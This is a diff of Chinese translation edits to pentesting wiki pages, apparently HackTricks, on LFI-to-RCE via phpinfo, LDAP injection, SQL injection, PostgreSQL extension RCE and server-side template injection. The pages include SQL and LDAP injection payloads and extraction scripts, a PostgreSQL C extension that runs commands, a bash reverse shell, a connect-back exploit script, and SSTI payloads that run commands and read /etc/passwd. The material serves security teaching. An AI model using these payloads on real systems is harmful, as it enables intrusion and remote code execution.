**上传** 一个将被存储为 **临时** 文件在 `/tmp`，然后在 **同一请求中**，触发 **段错误**，然后 **临时文件将不会被删除**，你可以搜索它。
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -553,7 +553,7 @@ via-php_session_upload_progress.md
### 通过 Windows 中的临时文件上传
如果你发现了 **本地文件包含** 并且服务器在 **Windows** 上运行，你可能会获得 RCE：
如果你发现了 **本地文件包含** 并且服务器在 **Windows** 中运行，你可能会获得 RCE：
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -612,6 +612,8 @@ lfi2rce-via-eternal-waiting.md
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}

18
src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
View File

@ -1,6 +1,6 @@
{{#include ../../banners/hacktricks-training.md}}
要利用此漏洞，您需要：**一个 LFI 漏洞，一个显示 phpinfo() 的页面，"file_uploads = on"，并且服务器必须能够在 "/tmp" 目录中写入。**
要利用此漏洞，您需要：**一个 LFI 漏洞，一个显示 phpinfo() 的页面，“file_uploads = on”，并且服务器必须能够在“/tmp”目录中写入。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
@ -10,25 +10,27 @@
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
你还需要更改**payload**在利用的开始部分（例如，php-rev-shell），**REQ1**（这应该指向phpinfo页面并包含填充，即：_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_），以及**LFIREQ**（这应该指向LFI漏洞，即：_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 检查在利用空字符时的双“%”）
您还需要更改利用的**payload**（例如，php-rev-shell），**REQ1**（这应该指向phpinfo页面并包含填充，即：_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_），以及**LFIREQ**（这应该指向LFI漏洞，即：_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 检查利用空字符时的双“%”）
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### 理论
如果在PHP中允许上传文件，并且你尝试上传一个文件，这个文件会存储在一个临时目录中，直到服务器处理完请求，然后这个临时文件会被删除。
如果在PHP中允许上传文件，并且您尝试上传文件，则这些文件会存储在临时目录中，直到服务器处理完请求，然后这些临时文件会被删除。
然后，如果你在web服务器中发现了LFI漏洞，你可以尝试猜测创建的临时文件的名称，并通过在文件被删除之前访问临时文件来利用RCE。
然后，如果您在Web服务器中发现了LFI漏洞，您可以尝试猜测创建的临时文件的名称，并在文件被删除之前通过访问临时文件来利用RCE。
在**Windows**中，文件通常存储在**C:\Windows\temp\php**
在**linux**中，文件的名称通常是**随机的**，并位于**/tmp**。由于名称是随机的，需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内容中的**变量$\_FILES**的值来完成。
在**linux**中，文件的名称通常是**随机的**，位于**/tmp**。由于名称是随机的，因此需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”中**变量$\_FILES**的值来完成。
**phpinfo()**
**PHP**使用**4096B**的缓冲区，当它**满**时，它会被**发送到客户端**。然后客户端可以**发送****大量的大请求**（使用大头部）**上传一个php**反向**shell**，等待**phpinfo()的第一部分返回**（其中包含临时文件的名称），并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
**PHP**使用**4096B**的缓冲区，当它**满**时，它会**发送给客户端**。然后客户端可以**发送** **大量大请求**（使用大头部）**上传一个php**反向**shell**，等待**phpinfo()的第一部分返回**（其中包含临时文件的名称），并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
**Python脚本尝试暴力破解名称（如果长度=6）**
**尝试暴力破解名称的Python脚本（如果长度=6）**
```python
import itertools
import requests

16
src/pentesting-web/ldap-injection.md
View File

@ -14,9 +14,11 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 web 应用程序的攻击。当应用程序 **未能正确清理** 输入时，就会发生这种情况，攻击者可以通过本地代理 **操纵 LDAP 语句**，可能导致未经授权的访问或数据操纵。
**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 Web 应用程序的攻击。当应用程序 **未能正确清理** 输入时，就会发生这种情况，攻击者可以通过本地代理 **操纵 LDAP 语句**，这可能导致未经授权的访问或数据操控。
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
{{#endfile}}
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
@ -56,7 +58,7 @@
### 登录绕过
LDAP 支持多种格式来存储密码：明文、md5、smd5、sh1、sha、crypt。因此，无论你在密码中插入什么，它都可能被哈希处理。
LDAP 支持多种格式来存储密码：明文、md5、smd5、sh1、sha、crypt。因此，可能无论你在密码中插入什么，它都会被哈希处理。
```bash
user=*
password=*
@ -117,9 +119,9 @@ password=any
- [LDAP 属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount 属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### 盲 LDAP 注入
### 隐式 LDAP 注入
您可以强制返回 False 或 True 响应，以检查是否返回任何数据并确认可能的盲 LDAP 注入：
您可以强制返回 False 或 True 响应，以检查是否返回任何数据并确认可能的隐式 LDAP 注入：
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -148,7 +150,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **发现有效的LDAP字段**
LDAP对象**默认包含多个属性**，可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)。
LDAP对象**默认包含多个属性**，可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取该信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)。
```python
#!/usr/bin/python3
import requests
@ -180,7 +182,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **特殊盲LDAP注入（不带“\*”）**
#### **特殊盲 LDAP 注入（不带 "\*"）**
```python
#!/usr/bin/python3

54
src/pentesting-web/sql-injection/README.md
View File

@ -8,7 +8,7 @@
## 入口点检测
当一个网站由于对与 SQLi 相关的输入的异常服务器响应而显得**易受 SQL 注入 (SQLi)**攻击时，**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**逃离当前上下文**的方法。这些是一些有用的示例：
当一个网站由于对 SQLi 相关输入的异常服务器响应而**看起来容易受到 SQL 注入 (SQLi)** 攻击时，**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**逃离当前上下文**的方法。这些是一些有用的示例：
```
[Nothing]
'
@ -23,9 +23,9 @@
```
然后，您需要知道如何**修复查询以避免错误**。为了修复查询，您可以**输入**数据，以便**先前的查询接受新数据**，或者您可以直接**输入**您的数据并**在末尾添加注释符号**。
_请注意，如果您能看到错误消息或在查询正常工作与不正常工作时能发现差异，这个阶段将会更容易。_
_请注意，如果您能看到错误消息或能够发现查询正常工作与不正常工作时的差异，这个阶段将会更容易。_
### **注释**
### **评论**
```sql
MySQL
#comment
@ -53,9 +53,9 @@ HQL does not support comments
```
### 使用逻辑运算进行确认
确认 SQL 注入漏洞的可靠方法涉及执行 **逻辑运算** 并观察预期结果。例如，GET 参数 `?username=Peter` 在修改为 `?username=Peter' or '1'='1` 时产生相同内容，表明存在 SQL 注入漏洞。
确认 SQL 注入漏洞的可靠方法是执行 **逻辑运算** 并观察预期结果。例如，当 GET 参数 `?username=Peter` 修改为 `?username=Peter' or '1'='1` 时，如果返回相同的内容，则表明存在 SQL 注入漏洞。
同样，应用 **数学运算** 作为有效的确认技术。例如，如果访问 `?id=1` 和 `?id=2-1` 产生相同结果，这表明存在 SQL 注入。
同样，应用 **数学运算** 作为有效的确认技术。例如，如果访问 `?id=1` 和 `?id=2-1` 产生相同的结果，这表明存在 SQL 注入。
演示逻辑运算确认的示例：
```
@ -66,11 +66,13 @@ page.asp?id=1 and 1=2 -- results in false
```
这个词汇表是为了尝试**确认SQL注入**而创建的：
{% file src="../../images/sqli-logic.txt" %}
{{#file}}
sqli-logic.txt
{{#endfile}}
### 使用时间确认
在某些情况下，您**不会注意到页面的任何变化**。因此，发现盲注入的一个好方法是让数据库执行操作，并对页面加载所需的**时间产生影响**。\
在某些情况下，您**不会注意到任何变化**在您正在测试的页面上。因此，发现盲注入的一个好方法是让数据库执行操作，并对页面加载所需的**时间产生影响**。\
因此，我们将在SQL查询中连接一个需要很长时间才能完成的操作：
```
MySQL (string concat and logical ops)
@ -164,17 +166,17 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
```
#### UNION SELECT
选择越来越多的空值，直到查询正确：
选择更多的空值，直到查询正确：
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_您应该使用 `null` 值，因为在某些情况下，查询两侧列的类型必须相同，而 null 在每种情况下都是有效的。_
_您应该使用 `null` 值，因为在某些情况下，查询两侧的列类型必须相同，而 null 在每种情况下都是有效的。_
### 提取数据库名称、表名称和列名称
在接下来的示例中，我们将检索所有数据库的名称、数据库的表名称、表的列名称：
在接下来的示例中，我们将检索所有数据库的名称、一个数据库的表名称、表的列名称：
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -189,11 +191,11 @@ _在每个不同的数据库中发现这些数据的方法各不相同，但方
## 利用隐藏的基于联合的注入
当查询的输出可见，但基于联合的注入似乎无法实现时，这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入。要将盲注入转变为基于联合的注入，需要识别后端的执行查询。
当查询的输出可见，但基于联合的注入似乎无法实现时，这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入，需要识别后端的执行查询。
这可以通过使用盲注入技术以及特定于目标数据库管理系统（DBMS）的默认表来实现。为了理解这些默认表，建议查阅目标 DBMS 的文档。
这可以通过使用盲注入技术以及特定于目标数据库管理系统（DBMS）的默认表来实现。为了理解这些默认表，建议查阅目标DBMS的文档。
一旦提取了查询，就需要调整你的有效载荷以安全地关闭原始查询。随后，将联合查询附加到你的有效载荷中，从而利用新可访问的基于联合的注入。
一旦提取了查询，就需要调整你的有效载荷以安全地关闭原始查询。随后，将一个联合查询附加到你的有效载荷中，从而利用新可访问的基于联合的注入。
有关更全面的见解，请参阅完整文章 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)。
@ -206,14 +208,14 @@ _在每个不同的数据库中发现这些数据的方法各不相同，但方
```
## 利用盲注
在这种情况下，您无法看到查询的结果或错误，但您可以**区分**查询**返回**的**真**或**假**响应，因为页面上的内容不同。\
在这种情况下，您无法看到查询的结果或错误，但您可以**区分**查询何时**返回****真**或**假**响应，因为页面上的内容不同。\
在这种情况下，您可以利用这种行为逐字符地转储数据库：
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## 利用错误盲注
这与之前的**情况相同**，但不是区分查询的真/假响应，而是可以**区分**SQL查询中的**错误**与否（可能是因为HTTP服务器崩溃）。因此，在这种情况下，每次正确猜测字符时，您可以强制产生一个SQL错误：
这与之前的**情况相同**，但不是区分查询的真/假响应，而是可以**区分**SQL查询中的**错误**与否（可能是因为HTTP服务器崩溃）。因此，在这种情况下，每次正确猜测字符时，您可以强制产生SQL错误：
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
@ -281,7 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
您应该将列表中的每一行用作用户名，密码始终为： _**Pass1234.**_\
&#xNAN;_(这些有效载荷也包含在本节开头提到的大列表中)_
{% file src="../../images/sqli-hashbypass.txt" %}
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK 认证绕过
@ -316,7 +320,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
#### SQL 截断攻击
如果数据库存在漏洞，并且用户名的最大字符数例如为30，而您想要冒充用户**admin**，请尝试创建一个名为：“_admin \[30个空格] a_”的用户名，以及任何密码。
如果数据库存在漏洞，并且用户名的最大字符数例如为30，而您想要冒充用户**admin**，请尝试创建一个名为：“_admin \[30个空格] a_”的用户名和任何密码。
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**，它将**截断****用户名**到**允许的最大字符数**（在这种情况下为：“_admin \[25个空格]_”），然后它将**自动删除末尾的所有空格**，在数据库中更新用户“**admin**”的**新密码**（可能会出现一些错误，但这并不意味着这没有成功）。
@ -336,7 +340,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
示例有效负载注入：
有效负载可能被构造如下，其中尝试将两行插入到 `users` 表中。第一行是诱饵，第二行针对现有管理员的电子邮件，目的是更新密码：
一个注入有效负载可能被构造如下，其中尝试将两行插入到 `users` 表中。第一行是诱饵，第二行针对现有管理员的电子邮件，目的是更新密码：
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -344,7 +348,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
- 查询尝试插入两行：一行为 `generic_user@example.com`，另一行为 `admin_generic@example.com`。
- 如果 `admin_generic@example.com` 的行已经存在，`ON DUPLICATE KEY UPDATE` 子句会触发，指示 MySQL 更新现有行的 `password` 字段为 "bcrypt_hash_of_newpassword"。
- 因此，可以使用 `admin_generic@example.com` 尝试身份验证，密码对应于 bcrypt 哈希（"bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希，应替换为所需密码的实际哈希）。
- 因此，可以尝试使用 `admin_generic@example.com` 进行身份验证，密码对应于 bcrypt 哈希（"bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希，应替换为所需密码的实际哈希）。
### 提取信息
@ -369,7 +373,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
使用 **hex** 和 **replace** (以及 **substr**):
使用 **hex** 和 **replace**（以及 **substr**）：
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -387,11 +391,11 @@ Example:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF 绕过
## WAF Bypass
[初始绕过来自这里](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### 无空格绕过
### No spaces bypass
无空格 (%20) - 使用空白替代品进行绕过
```sql
@ -410,7 +414,7 @@ Example:
```sql
?id=(1)and(1)=(1)--
```
### No commas bypass
### 无逗号绕过
无逗号 - 使用 OFFSET、FROM 和 JOIN 绕过
```
@ -437,7 +441,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
### 科学计数法 WAF 绕过
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
基本上，你可以以意想不到的方式使用科学计数法来绕过 WAF：
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1

30
src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
View File

@ -4,7 +4,7 @@
## PostgreSQL Extensions
PostgreSQL 的核心特性是可扩展性，允许它无缝集成扩展，就像它们是内置功能一样。这些扩展，基本上是用 C 编写的库，为数据库提供额外的函数、运算符或类型。
PostgreSQL 的核心特性是可扩展性，允许它无缝集成扩展，就像它们是内置功能一样。这些扩展，基本上是用 C 编写的库，丰富了数据库的额外功能、操作符或类型。
从 8.1 版本开始，对扩展库施加了特定要求：它们必须使用特殊头文件编译。没有这个，PostgreSQL 将不会执行它们，确保只使用兼容且可能安全的扩展。
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
<summary>从 base64 写入二进制文件</summary>
要在 postgres 中将二进制写入文件，您可能需要使用 base64，这对这个问题会很有帮助：
要在 postgres 中将二进制写入文件，您可能需要使用 base64，这对该问题将很有帮助：
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
此错误在[PostgreSQL文档](https://www.postgresql.org/docs/current/static/xfunc-c.html)中有解释：
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中，PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性，例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始，魔法块是必需的。要包含魔法块，请在包含头文件fmgr.h之后，在模块源文件中的一个（且仅一个）位置写入以下内容：
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中，PostgreSQL检查文件是否包含具有适当内容的“魔术块”。这使得服务器能够检测明显的不兼容性，例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始，魔术块是必需的。要包含魔术块，请在包含头文件fmgr.h之后，在模块源文件中的一个（且仅一个）位置写入以下内容：
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
自PostgreSQL 8.2版本以来，攻击者利用系统的过程变得更加具有挑战性。攻击者需要使用系统上已经存在的库，或者上传自定义库。此自定义库必须针对兼容的PostgreSQL主要版本进行编译，并且必须包含特定的“魔法块”。这一措施显著增加了利用PostgreSQL系统的难度，因为它需要对系统的架构和版本兼容性有更深入的理解。
自PostgreSQL 8.2版本以来，攻击者利用系统的过程变得更加具有挑战性。攻击者需要使用系统上已经存在的库，或者上传自定义库。此自定义库必须针对兼容的PostgreSQL主要版本进行编译，并且必须包含特定的“魔术块”。这一措施显著增加了利用PostgreSQL系统的难度，因为它需要对系统的架构和版本兼容性有更深入的理解。
#### 编译库
@ -92,7 +92,7 @@ PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0
```
为了兼容性，主要版本必须对齐。因此，使用9.6.x系列中的任何版本编译库应确保成功集成。
要在系统中安装该版本：
要在您的系统中安装该版本：
```bash
apt install postgresql postgresql-server-dev-9.6
```
@ -113,7 +113,7 @@ char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
然后上传编译好的库并执行命令：
然后上传编译好的库并使用以下命令执行：
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
@ -164,9 +164,11 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
PG_RETURN_VOID();
}
```
您可以在此 zip 文件中找到编译的 DLL：
您可以在此 zip 中找到编译好的 DLL：
{% file src="../../../images/pgsql_exec.zip" %}
{{#file}}
pgsql_exec.zip
{{#endfile}}
您可以指示此 DLL **要执行哪个二进制文件** 以及执行的次数，在此示例中，它将执行 `calc.exe` 2 次：
```bash
@ -262,9 +264,9 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
在**最新版本**的PostgreSQL中，施加了限制，`superuser`被**禁止**从特定目录以外的地方**加载**共享库文件，例如在Windows上的`C:\Program Files\PostgreSQL\11\lib`或在\*nix系统上的`/var/lib/postgresql/11/lib`。这些目录对NETWORK_SERVICE或postgres账户的写操作是**安全的**。
尽管有这些限制，经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统中。此能力扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入，这对于更新或创建表等数据库操作至关重要。
尽管有这些限制，经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统中。此功能扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入，这对于更新或创建表等数据库操作至关重要。
一个显著的漏洞来自于`CREATE FUNCTION`命令，它**允许目录遍历**到数据目录。因此，经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录，然后**加载它**。此漏洞使攻击者能够执行任意代码，实现系统上的本地代码执行。
一个显著的漏洞来自于`CREATE FUNCTION`命令，它**允许目录遍历**到数据目录。因此，经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录，然后**加载它**。这个漏洞使攻击者能够执行任意代码，实现系统上的本地代码执行。
#### 攻击流程
@ -281,9 +283,9 @@ select connect_back('192.168.100.54', 1234);
```
_注意，您不需要附加 `.dll` 扩展名，因为创建函数会自动添加它。_
有关更多信息，请**阅读**[**原始出版物**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
在该出版物中，**这是**[**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展，请阅读之前的任何版本_).\
在同一页面上，**提供了自动化**此技术的**漏洞**：
有关更多信息 **请阅读**[ **原始出版物在这里**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
在该出版物中 **这是** [**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展，请阅读之前的任何版本_).\
在同一页面上提供了 **自动化** 此技术的 **利用**：
```python
#!/usr/bin/env python3
import sys
@ -321,7 +323,7 @@ print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
## 参考文献
## 参考
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)

58
src/pentesting-web/ssti-server-side-template-injection/README.md
View File

@ -6,11 +6,11 @@
服务器端模板注入是一种漏洞，当攻击者能够将恶意代码注入到在服务器上执行的模板中时，就会发生这种漏洞。此漏洞可以在各种技术中找到，包括 Jinja。
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个示例，演示使用 Jinja 的易受攻击的代码片段：
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个使用 Jinja 的脆弱代码片段的示例：
```python
output = template.render(name=request.args.get('name'))
```
在这段脆弱的代码中，用户请求中的 `name` 参数直接通过 `render` 函数传递到模板中。这可能允许攻击者将恶意代码注入到 `name` 参数中，从而导致服务器端模板注入。
在这段脆弱的代码中，用户请求中的 `name` 参数被直接传递到模板中，使用 `render` 函数。这可能允许攻击者将恶意代码注入到 `name` 参数中，从而导致服务器端模板注入。
例如，攻击者可以构造一个包含如下有效负载的请求：
```
@ -18,20 +18,20 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
```
有效载荷 `{{bad-stuff-here}}` 被注入到 `name` 参数中。该有效载荷可以包含 Jinja 模板指令，使攻击者能够执行未经授权的代码或操纵模板引擎，从而可能控制服务器。
为了防止服务器端模板注入漏洞，开发人员应确保在将用户输入插入模板之前，正确地对其进行清理和验证。实施输入验证和使用上下文感知的转义技术可以帮助减轻此漏洞的风险。
为了防止服务器端模板注入漏洞，开发人员应确保在将用户输入插入模板之前，正确地对其进行清理和验证。实施输入验证和使用上下文感知的转义技术可以帮助降低此漏洞的风险。
### 检测
要检测服务器端模板注入 (SSTI)，最初，**模糊测试模板** 是一种简单的方法。这涉及将一系列特殊字符 (**`${{<%[%'"}}%\`**) 注入模板，并分析服务器对常规数据与此特殊有效载荷的响应差异。漏洞指示包括：
- 抛出的错误，揭示漏洞并可能暴露模板引擎。
- 抛出的错误，揭示漏洞并可能显示模板引擎。
- 反射中缺少有效载荷，或部分缺失，暗示服务器以不同于常规数据的方式处理它。
- **明文上下文**：通过检查服务器是否评估模板表达式（例如 `{{7*7}}`，`${7*7}`）来区分 XSS。
- **代码上下文**：通过更改输入参数确认漏洞。例如，改变 `http://vulnerable-website.com/?greeting=data.username` 中的 `greeting`，以查看服务器的输出是动态的还是固定的，例如 `greeting=data.username}}hello` 返回用户名。
#### 识别阶段
识别模板引擎涉及分析错误消息或手动测试各种特定语言的有效载荷。常见的导致错误的有效载荷包括 `${7/0}`，`{{7/0}}` 和 `<%= 7/0 %>`。观察服务器对数学运算的响应有助于确定特定的模板引擎。
识别模板引擎涉及分析错误消息或手动测试各种特定语言的有效载荷。常见的导致错误的有效载荷包括 `${7/0}`、`{{7/0}}` 和 `<%= 7/0 %>`。观察服务器对数学运算的响应有助于确定特定的模板引擎。
#### 通过有效载荷识别
@ -43,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
### [TInjA](https://github.com/Hackmanit/TInjA)
一个高效的 SSTI + CSTI 扫描器，利用新颖的多语言组合
一个高效的 SSTI + CSTI 扫描器，利用新颖的多语言组合。
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - 沙盒绕过**
**Freemarker - 沙箱绕过**
⚠️ 仅适用于 2.3.30 版本以下的 Freemarker
```java
@ -169,11 +169,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf 要求这些表达式放置在特定属性中。然而，_表达式内联_ 对于其他模板位置是支持的，使用语法如 `[[...]]` 或 `[(...)]`。因此，一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`。
Thymeleaf 要求这些表达式放置在特定属性中。然而，_表达式内联_ 对于其他模板位置是支持的，使用语法如 `[[...]]` 或 `[(...)]`。因此，一个简单的 SSTI 测试有效负载可能看起来像 `[[${7*7}]]`。
然而，这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成；模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态从字符串创建模板，这并不常见。
然而，这个有效负载成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成；模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态从字符串创建模板，这并不常见。
Thymeleaf 还提供 _表达式预处理_，其中双下划线 (`__...__`) 内的表达式会被预处理。这个功能可以在构建表达式时利用，如 Thymeleaf 文档中所示：
Thymeleaf 还提供了 _表达式预处理_，其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用，如 Thymeleaf 文档中所示：
```java
#{selection.__${sel.code}__}
```
@ -197,13 +197,13 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
el-expression-language.md
{{#endref}}
### Spring 框架 (Java)
### Spring Framework (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**绕过过滤器**
可以使用多个变量表达式，如果 `${...}` 无法工作，请尝试 `#{...}`、`*{...}`、`@{...}` 或 `~{...}`。
可以使用多个变量表达式，如果 `${...}` 不起作用，请尝试 `#{...}`、`*{...}`、`@{...}` 或 `~{...}`。
- 读取 `/etc/passwd`
```java
@ -257,11 +257,11 @@ el-expression-language.md
- `{{ someString.toUPPERCASE() }}`
Pebble 的旧版本（< 版本 3.0.9）：
Pebble 的旧版本（< 3.0.9）：
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
新版本的 Pebble：
新版本的 Pebble :
```java
{% raw %}
{% set cmd = 'id' %}
@ -319,7 +319,7 @@ Jinjava 是一个由 Hubspot 开发的开源项目，地址为 [https://github.c
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
